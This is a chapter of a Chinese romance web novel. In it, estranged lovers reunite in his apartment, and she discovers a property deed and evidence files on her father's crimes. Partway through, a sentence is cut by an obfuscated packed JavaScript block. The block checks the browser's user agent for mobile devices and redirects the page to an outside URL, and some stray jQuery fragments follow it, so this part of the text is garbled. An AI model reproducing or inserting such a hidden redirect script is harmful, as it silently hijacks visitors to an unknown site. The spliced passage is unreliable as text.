38. 恨你

作品:《念青

    祝念慈是鼓足了破釜沉舟的勇气,才斩断在瑞士平静却死水一般的生活。


    在瑞士一个再次梦见和裴以青分别的深夜,她看着镜子里形销骨立的自己,突然恐惧地意识到一个问题——


    她远比想象中要依赖裴以青。


    那些恨、怨、委屈和自我放逐,根源好像不过是他不在身边。


    这份迟到三年才真正弄清楚的感情,几乎将她溺毙。


    可当祝念慈真的回来了,再次踏上帝都的土地,面对的是裴以青冰冷的审视,是他言语间毫不掩饰的疏离与锋芒,


    一颗本就脆弱的心,经不起和爱人再次分离。


    所以选择跟着裴以青去公寓,其实是祝念慈一种小心翼翼的确认,确认他到底还愿不愿意给她一丝微小的可能。


    电梯无声地上升,数字变化跳跃,带来轻微的失重感。


    “叮——”


    公寓迎面的是极简的玄关,冷调的瓷砖光可鉴人,倒映着天花板上的灯带。


    裴以青率先走了进去,将大衣随意搭在玄关的衣架上。


    祝念慈有点迟疑,柔软的鞋底踩在冰冷坚硬的地面上,几乎没有发出声音。


    她像一只误入陌生领地的猫,警惕而敏感地打量着四周。


    一切熟悉又陌生。


    公寓的格局未变,空气里弥漫着好闻的味道,像高级酒店的样板间,精致,却毫无生气。


    裴以青没有开主灯,弯腰拧亮了客厅角落一盏落地灯。


    暖黄色的光晕像一小圈可怜的岛屿,在巨大而昏暗的空间,反而衬得周围的阴影更加浓重。


    祝念慈就站在玄关与客厅交界的那片阴影里,没有继续往前走,也不知道在看什么。


    他只穿了件衬衫,腰侧空荡荡,只有肩线贴合,人确实瘦了些,祝念慈在瓷都的感受不是错觉。


    “在瑞士过的好吗?”


    裴以青习惯了在他们之间先开口,他知道如果自己不说,祝念慈是不会说一个字的。


    只是这次预想中裴以青的那双眼睛没有看自己,落在手中的杯子上,让她的心泛起细密的酸胀。


    祝念慈不觉得那杯水有什么值得研究的地方。


    她垂下眼睫,盯着自己鞋尖前一小块光洁的地面倒影。


    “你上次问过我了。”


    “你说实话了吗?”


    祝念慈抿了抿唇,还是那个答案,


    “挺好的。”


    这三个字她最近说过太多遍,对姜桐,对Jen,对心理医生,如今又对他说。


    她再次祭出一个苍白无力的答案,仿佛每说一遍,就能真的让一切好起来。


    裴以青放下水杯,往后轻靠在冰凉的岛台边缘,才看向她。


    “生活都习惯?”


    “习惯。”


    “还失眠吗?”


    “还好。”她突然抬起头,“不了。”


    裴以青几乎是从鼻腔里发出一个气音,像是笑,又像是别的。


    “是吗?”


    他往前走了一小步,从那片暖黄的光晕边缘,更清晰地踏入她的视野。他的身形高大,即使隔着几步的距离,投下的阴影也几乎将她完全笼罩。


    “阮璟年,”他念出这个名字,语速放得很慢,“看样子他把你照顾得很好。”


    所有预想过的说辞,都在他的目光下土崩瓦解。祝念慈张了张嘴,实在不知道该如何回应。


    不敢说好,因为这是假话。


    也不敢说不好,像是一种变相的乞讨,是祝念慈最不愿意在他面前显露的脆弱。


    不敢说自己对着窗户一整夜一整夜地发呆,不敢说那些被焦虑和生病啃噬的时刻,不敢说她在无数个噩惊醒来的凌晨,第一个模糊想起的,依旧是他带着失望和疲惫的眼睛。


    就在裴以青觉得祝念慈依旧会选择用沉默筑起高墙,将他再次彻底隔绝在外时,


    她突然抬起头,声音很轻,像风中摇曳的丝。


    “裴以青。”


    面前的人微微一怔,所有翻腾的情绪都好像都因为这突如其来的呼唤而按下了暂停键。


    然后,她轻轻地笑着问出了那个盘旋在她心底许久,也或许同样盘旋在他心底的问题。


    “你恨我吗?”


    空气仿佛凝固成了琥珀,将两人困在其中。


    这句话似乎在裴以青的表情上凿开了一丝裂纹。


    时间在沉默中被拉长。


    终于,他扯了扯嘴角。


    ……


    “那你恨我吗?”裴以青反问。


    祝念慈一愣,咬着牙没说话。


    “祝念慈,我们分开了三年。”裴以青缓缓出声,“我们才在一起多久。”


    过了好一会,他才继续开口,语气轻飘的好像不甚在意。


    “我应该比你恨我,恨的少一点吧。”


    祝念慈有做好心理准备,但此刻还是被砸的说不出一句话。


    泪水终于不受控制地夺眶而出,无声地滑落。


    她猛地别开脸,不想让他看到自己如此狼狈的模样,肩膀因为压抑的哽咽而微微发颤。


    裴以青看着她纤细脆弱的背影,看着她因低头而露出的一小截白皙后颈,是以前他最爱亲吻的地方。


    疼得几乎喘不过气,那些把人推得更远的话,卡在喉咙里,一个字也吐不出来。


    他烦躁地抬手,用力捏了捏眉心。深吸一口气,试图压下胸腔里翻涌的酸涩,索性不再看祝念慈。


    裴以青最终还是妥协了,不再继续这个话题。


    他坐在沙发上,拿起茶几上的一个金属打火机,在指间无意识地转动着,咔哒作响。


    没看她,却对她说:“站着不累吗?”


    祝念慈这才慢慢走过去,


    却不是坐下。


    她弯腰把手心里紧握的摆件轻轻放在桌上。


    一只陶瓷小猫。


    准确的说,是砸碎了,又被胶水粘起来的,本是一对中的一只。


    裴以青随机猛的看向玄关处,难得怔愣片刻。


    他们一站一坐,之间隔着宽大的茶几,像横亘着无法逾越的鸿沟。


    三年前提分手的时候,明明都以为自己的心不会更痛了。


    /


    裴以青简单做了几个菜,祝念慈吃完就回来了。


    她蜷缩在门后的阴影里,双臂紧紧抱住自己,却感觉不到一丝暖意。


    锁骨下方那道早已愈合的疤痕,此刻竟也隐隐作痛起来,像是在呼应着心底那片永无止境的荒芜。


    祝念慈以为自己已经做好了承受一切的准备,可当裴以青把过去剖开看时,钝痛还是超出了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102316|193782||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她的预期。


    祝念慈躺在床上,睁着眼睛,毫无睡意。


    想象中裴以青的声音在她耳边反复回响。


    恨这个词用在她这种人身上,是不是太奢侈了。


    窗外的城市灯火透过未拉严的窗帘缝隙,在天花板上投下模糊的光斑,变幻着形状。


    心口堵得发慌,她索性起身,去客厅倒水。


    赤脚踩在冰凉的地板上,她无声地走到客厅。


    没有开灯,借着窗外微弱的光线,她在接了杯直饮水。


    因为身体原因,公寓的东西还没完全整理好。


    目光不经意间,落在了随手放在玄关柜子上的那个牛皮纸文件袋上。


    是裴以青之前给她的那个。


    不知道被什么驱使,祝念慈走了过去,伸手拿起了它。


    文件袋比记忆中要沉。


    指尖触碰到粗糙的纸面,带来一种奇异又陌生的触感。她犹豫了一下,拿着它走回客厅,在沙发上坐下。


    就着窗外透进来的微光,祝念慈深吸一口气,缓慢而坚定地,解开了文件袋上缠绕的棉线。


    里面的东西比她预想的要多。


    最先滑出来的,是一本深红色的、略显陈旧的证件——


    房产证。


    祝念慈怔住,指尖有些发颤地翻开。


    是洪江别墅。


    而纸张右下方赫然写着自己的名字。


    祝念慈不知道怎么形容此刻的感受了,鼻尖是很酸很酸的。她压下翻腾的情绪,继续看向文件袋里。


    里面是厚厚一沓装订好的文件。她将它们全部取出,放在膝上。


    文件里是祝道远所有的犯罪记录,赌博、经济犯罪、商业贿赂等等,白纸黑字,条理清晰。


    她的呼吸骤然停滞,手指不受控制地颤抖起来,快速翻动下面的文件。


    一页页,一份份,条理清晰,证据链完整得令人心惊。


    时间跨度从数年前一直到三年前。


    这里面,不仅包括了祝道远多年来挪用公款、非法交易、赌债缠身的详细记录和证据,还有几份林昌东利用裴氏集团背景,在多个项目中中饱私囊,进行利益输送的龌龊勾当。


    甚至,还附有专业的法律意见,分析了这些证据所能构成的罪名,以及量刑的预估。


    祝念慈没有勇气翻下去了。


    这是一个漫长而缜密,需要投入巨大资源和精力的调查过程。


    裴以青多早开始做的?


    她不知道。


    所以在祝念慈默默筹划,甚至不惜铤而走险的时候,裴以青也在用他的方式,做着同样的事情。


    裴以青要她等等,原来是等这个。


    泪水毫无预兆地汹涌而出,大滴大滴地砸落在冰冷的纸页上,祝念慈咬住自己的手指,尽量不让自己抖的太厉害。


    她想起他曾在门外,日复一日诉说着无人回应的日常。


    想起他在车里,将文件袋递给她时说,那双微微颤抖的手。


    想起他问她,“在你心里,我就那么不值得依靠吗?”那双痛极的眼睛。


    文件从颤抖的指尖滑落,散了一地。


    祝念慈蜷缩在沙发里,将脸深深埋入膝盖,已经流不出更多泪了。


    压抑的呜咽声在寂静的房间里低低回荡。